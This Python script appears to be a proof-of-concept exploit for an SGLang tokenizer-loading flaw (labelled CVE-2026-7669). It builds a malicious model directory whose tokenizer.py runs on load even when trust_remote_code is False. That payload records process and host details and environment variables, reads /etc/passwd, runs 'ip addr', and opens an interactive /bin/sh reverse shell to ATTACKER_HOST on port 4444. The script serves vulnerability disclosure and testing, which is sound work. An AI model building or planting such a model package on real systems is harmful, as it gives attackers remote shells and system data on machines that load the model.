"""Build the malicious model directory used by the PoC."""

import json
import os

import torch
from safetensors.torch import save_file

MODEL_DIR = "/poc/malicious_model"
PROOF_FILE = "/tmp/sglang_poc_proof.txt"


def create_model():
    os.makedirs(MODEL_DIR, exist_ok=True)

    tensors = {"weight": torch.zeros(1, 1)}
    save_file(tensors, os.path.join(MODEL_DIR, "model.safetensors"))

    # model_type must be in transformers' TOKENIZER_MAPPING_NAMES so the first
    # from_pretrained call does not raise. "gpt2" works.
    config = {
        "architectures": ["GPT2LMHeadModel"],
        "model_type": "gpt2",
        "n_embd": 1,
        "n_head": 1,
        "n_layer": 1,
        "vocab_size": 100,
    }
    with open(os.path.join(MODEL_DIR, "config.json"), "w") as f:
        json.dump(config, f)

    # Custom tokenizer_class forces TokenizersBackend on the first call.
    # auto_map provides the .py reference loaded on the silent retry.
    tokenizer_config = {
        "tokenizer_class": "MaliciousTokenizer",
        "auto_map": {
            "AutoTokenizer": [
                "tokenizer.MaliciousTokenizer",
                "tokenizer.MaliciousTokenizer",
            ]
        },
    }
    with open(os.path.join(MODEL_DIR, "tokenizer_config.json"), "w") as f:
        json.dump(tokenizer_config, f)

    tokenizer_json = {
        "version": "1.0",
        "model": {
            "type": "BPE",
            "vocab": {"<s>": 0, "</s>": 1, "<unk>": 2},
            "merges": [],
        },
        "added_tokens": [],
    }
    with open(os.path.join(MODEL_DIR, "tokenizer.json"), "w") as f:
        json.dump(tokenizer_json, f)

    tokenizer_code = f'''import datetime
import os
import socket
import subprocess
import sys

PROOF_FILE = "{PROOF_FILE}"
with open(PROOF_FILE, "w") as f:
    f.write("CVE-2026-7669 proof of execution\\n")
    f.write("=" * 60 + "\\n")
    f.write(f"Timestamp:  {{datetime.datetime.now().isoformat()}}\\n")
    f.write(f"PID:        {{os.getpid()}}\\n")
    f.write(f"UID:        {{os.getuid()}}\\n")
    f.write(f"User:       {{os.environ.get('USER', 'unknown')}}\\n")
    f.write(f"Hostname:   {{socket.gethostname()}}\\n")
    f.write(f"CWD:        {{os.getcwd()}}\\n")
    f.write(f"Python:     {{sys.executable}}\\n")
    f.write(f"Argv:       {{sys.argv}}\\n\\n")
    f.write("Environment variables:\\n")
    for key in sorted(os.environ):
        if any(s in key.upper() for s in ["PATH", "HOME", "USER", "CUDA", "GPU", "MODEL"]):
            f.write(f"  {{key}}={{os.environ[key]}}\\n")
    f.write("\\nExecuted despite trust_remote_code=False being passed by the caller.\\n")

print("[!] PAYLOAD EXECUTED: tokenizer.py ran with trust_remote_code=True")

ATTACKER_HOST = os.environ.get("ATTACKER_HOST")
ATTACKER_PORT = os.environ.get("ATTACKER_PORT", "4444")
if ATTACKER_HOST:
    print(f"[!] REVERSE SHELL: connecting to {{ATTACKER_HOST}}:{{ATTACKER_PORT}}")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ATTACKER_HOST, int(ATTACKER_PORT)))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        subprocess.call(["/bin/sh", "-i"])
    except Exception as e:
        print(f"[!] Reverse shell failed: {{e}}")

with open(PROOF_FILE, "a") as f:
    f.write("\\n--- exfil demo ---\\n")
    try:
        with open("/etc/passwd") as p:
            f.write("/etc/passwd (first 5 lines):\\n")
            for i, line in enumerate(p):
                if i >= 5:
                    break
                f.write(f"  {{line}}")
    except Exception as e:
        f.write(f"  could not read /etc/passwd: {{e}}\\n")

    for dev in ["/dev/nvidia0", "/dev/dri/renderD128", "/dev/kfd"]:
        f.write(f"\\n{{dev}}: {{'EXISTS' if os.path.exists(dev) else 'not found'}}\\n")

    try:
        r = subprocess.run(["ip", "addr"], capture_output=True, text=True, timeout=5)
        if r.returncode == 0:
            f.write("\\nNetwork interfaces:\\n")
            f.write(r.stdout[:500])
    except Exception:
        pass

from transformers import PreTrainedTokenizerFast
from tokenizers import Tokenizer, models


class MaliciousTokenizer(PreTrainedTokenizerFast):
    def __init__(self, *args, **kwargs):
        tok = Tokenizer(models.BPE())
        tok.add_tokens(["<s>", "</s>", "<unk>"])
        kwargs.pop("tokenizer_object", None)
        kwargs.pop("vocab_file", None)
        kwargs.pop("merges_file", None)
        super().__init__(*args, tokenizer_object=tok, **kwargs)
'''
    with open(os.path.join(MODEL_DIR, "tokenizer.py"), "w") as f:
        f.write(tokenizer_code)

    print(f"[*] Malicious model created at {MODEL_DIR}")


if __name__ == "__main__":
    create_model()